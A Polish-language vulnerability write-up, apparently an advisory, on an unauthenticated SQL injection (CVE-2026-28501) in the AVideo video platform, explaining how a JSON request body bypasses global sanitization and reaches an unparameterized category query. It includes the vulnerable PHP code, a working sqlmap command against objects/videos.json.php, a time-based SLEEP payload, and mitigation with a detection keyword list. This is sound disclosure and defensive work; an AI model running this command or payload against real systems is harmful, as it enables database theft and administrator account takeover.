Wprowadzenie
Platforma AVideo to oprogramowanie open-source do hostingu wideo, rozwijane przez WWBN. Posiada globalną procedurę sanityzacji (includeSecurityChecks()), która normalizuje zawartość $_GET, $_POST oraz $_REQUEST jeszcze przed uruchomieniem logiki konkretnego endpointu.
Endpoint objects/videos.json.php, którego wywołania nie wymagają uprzedniego uwierzytelnienia, ponownie wypełnia $_REQUEST surowymi danymi z ciała żądania JSON już po zakończeniu tej procedury. W ten sposób przemycane są wartości kontrolowane przez atakującego, które omijają mechanizm sanityzacji.
Szczegóły Podatności
| Pole | Wartość |
|---|---|
| CVE ID | CVE-2026-28501 |
| Krytyczność | Critical |
| Wynik CVSS 3.1 | 9.8 |
| EPSS | 20.925% |
| Wersje podatne | wwbn/avideo < 24.0 |
| Wektor ataku | Network, HTTP POST z Content-Type: application/json |
| Wymagane uwierzytelnienie | Brak |
| Data publikacji | 28 lutego 2026 r. |
Analiza Techniczna
Błąd nie jest efektem pojedynczego niedopatrzenia, lecz następstwem zetknięcia się dwóch komponentów, które osobno działają poprawnie, lecz razem prowadzą do błędu bezpieczeństwa.
Globalna sanityzacja uruchamiana zbyt wcześnie
Każde żądanie do AVideo ładuje plik videos/configuration.php, który dołącza globalny skrypt konfiguracyjny:
// videos/configuration.php
require_once $global['systemRootPath'].'objects/include_config.php';
Skrypt ten wywołuje funkcję includeSecurityChecks(), która iteruje po zawartości $_GET, $_POST oraz $_REQUEST i stosuje do każdej wartości odpowiednie reguły sanityzacji. Na tym etapie wszystkie metaznaki SQL przekazane w parametrach URL zostają zneutralizowane.
Endpoint ponownie wypełnia $_REQUEST surowymi danymi
Endpoint objects/videos.json.php zwraca dane w formacie JSON, wykorzystywane przez frontend do wyświetlania listy wideo. Przed udostępnieniem zawartości wywołuje funkcję pomocniczą, która próbuje ustanowić sesję na podstawie ciała żądania, nawet w przypadku niezalogowanych użytkowników.
// objects/videos.json.php
User::loginFromRequestIfNotLogged();
Funkcja loginFromRequestIfNotLogged() deleguje działanie do loginFromRequest(), która rozpoczyna swoje działanie od wywołania inputToRequest():
Funkcja loginFromRequestIfNotLogged() deleguje działanie do loginFromRequest(), która rozpoczyna się od wywołania inputToRequest():
// objects/user.php
public static function loginFromRequestIfNotLogged()
{
// ...
return self::loginFromRequest();
}
public static function loginFromRequest()
{
inputToRequest();
// ...
}
Funkcja inputToRequest() jest właściwym źródłem podatności. Odczytuje ona zawartość php://input, dekoduje ją z formatu JSON i kopiuje każdą parę klucz/wartość bezpośrednio do zmiennej globalnej $_REQUEST:
// objects/functions.php
function inputToRequest()
{
$content = file_get_contents("php://input");
if (!empty($content)) {
$json = json_decode($content);
if (empty($json)) {
return false;
}
foreach ($json as $key => $value) {
if (!isset($_REQUEST[$key])) {
$_REQUEST[$key] = $value; // [!] surowe, niesanityzowane
}
}
}
}
Ponieważ funkcja includeSecurityChecks() zakończyła już swoje wykonanie zanim wywołana zostanie inputToRequest(), dowolny klucz kontrolowany przez atakującego, który nie był wcześniej obecny w $_REQUEST, jest wprowadzany po zakończeniu fazy sanityzacji.
W rezultacie założenie, że wartości odczytywane z
$_REQUESTsą zawsze zsanityzowane, przestaje obowiązywać dla parametrów dostarczonych w ciele żądania o formacie JSON.
Konkatenacja zanieczyszczonej wartości do zapytania SQL
Funkcja Video::getAllVideos() wykorzystuje funkcję Video::getCatSQL() do filtrowania kategorii wideo. Funkcja ta odczytuje parametr catName bezpośrednio ze zmiennej $_REQUEST i umieszcza tę wartość w treści zapytania bez wykorzystania prepared statements:
// objects/video.php
static function getCatSQL()
{
$catName = @$_REQUEST['catName'];
$sql = '';
if (!empty($catName)) {
if (!is_array($catName)) {
$catName = [$catName];
}
$sqls = [];
foreach ($catName as $value) {
if (empty($_REQUEST['doNotShowCats'])) {
$sqlText = " (c.clean_name = '{$value}' "; // [!] SQLi
if (empty($_REQUEST['doNotShowCatChilds'])) {
$sqlText .= " OR c.parentId IN (SELECT cs.id from categories cs where cs.clean_name = '{$value}' )";
}
$sqlText .= " )";
$sqls[] = $sqlText;
} else {
$sqlText = " (c.clean_name != '{$value}' )";
$sqls[] = $sqlText;
}
}
// ...
Wartość
{$value}trafia do wnętrza apostrofów bez jakiejkolwiek sanityzacji. Atakujący, który jest w stanie umieścić wartość w$_REQUEST['catName'], co z powodu braku sanityzacji danych w formacie JSON jest możliwe bez uwierzytelnienia, przejmuje kontrolę nad zapytaniem SQL.
Eksploitacja
Aby potwierdzić istnienie podatności, wystarczy pojedyncze żądanie HTTP. Nagłówek Content-Type musi mieć wartość application/json, aby file_get_contents("php://input") zwróciło treść żądania w formie akceptowanej przez json_decode().
sqlmap one-shot
sqlmap -u "https://[target.host]/objects/videos.json.php" \
--data '{"catName": "music"}' \
--method POST -p catName \
--dbms MySQL --technique=T \
--level 5 --risk 3 --batch --force-ssl --threads=10
sqlmap potwierdza skuteczność ataku typu time-based blind z perspektywy nieuwierzytelnionego użytkownika, bez uprzednio ustanowionej sesji, próby logowania ani jakichkolwiek poświadczeń.
Parameter: JSON catName ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {"catName": "music') AND (SELECT 5067 FROM (SELECT(SLEEP(5)))lCAk) AND ('oavw'='oavw"}
Wynik ten potwierdza istnienie nieuwierzytelnionego SQL injection typu time-based blind poprzez parametr
catName, co umożliwia odczytywanie informacji z bazy danych aplikacji.
Wpływ Podatności
- Pełen odczyt bazy danych: Pojedyncze, nieuwierzytelnione żądanie HTTP umożliwia odczyt dowolnej kolumny z każdej tabeli dostępnej dla konta bazy danych wykorzystywanego przez AVideo.
- Przejęcie konta administratora: Niesolone hashe MD5 oraz aktywne identyfikatory sesji w
users.passwordumożliwiają trywialne łamanie offline lub bezpośrednie odtworzenie sesji. - Wysokie prawdopodobieństwo eksploitacji: Ocena CVSS 9.8 oraz wynik EPSS w 96. percentylu wskazują, że atak jest w praktyce prosty do przeprowadzenia i wysoce skuteczny.
Mitygacja i Naprawa
- Natychmiastowa aktualizacja: Należy bezzwłocznie zaktualizować wszystkie wdrożenia AVideo w podatnym zakresie wersji do wydania 24.0, które zawiera oficjalną poprawkę wprowadzoną w commicie WWBN/AVideo@0c10be6. Producent nie udostępnił osobnych poprawek dla wcześniejszych wersji.
- Rotacja poświadczeń i unieważnienie sesji: Należy zresetować hasła administratorów oraz unieważnić wszystkie aktywne sesje. Należy przyjąć, że każda upubliczniona instancja sprzed wersji 24.0 została skompromitowana.
- Audyt logów: Należy monitorować żądania
POSTkierowane do/objects/videos.json.php, w których polecatNamezawiera sekwencje takie jak',SLEEP(,SELECT,UNIONlubBENCHMARK(, lub które wykazują czasy odpowiedzi znacznie wyższe od typowego czasu odpowiedzi dla tego endpointu.
Źródła
- CVE-2026-28501
- AVideo release tag 24.0
- WWBN/AVideo advisory GHSA-pv87-r9qf-x56p
- GHSA-pv87-r9qf-x56p - GitHub Security Advisory
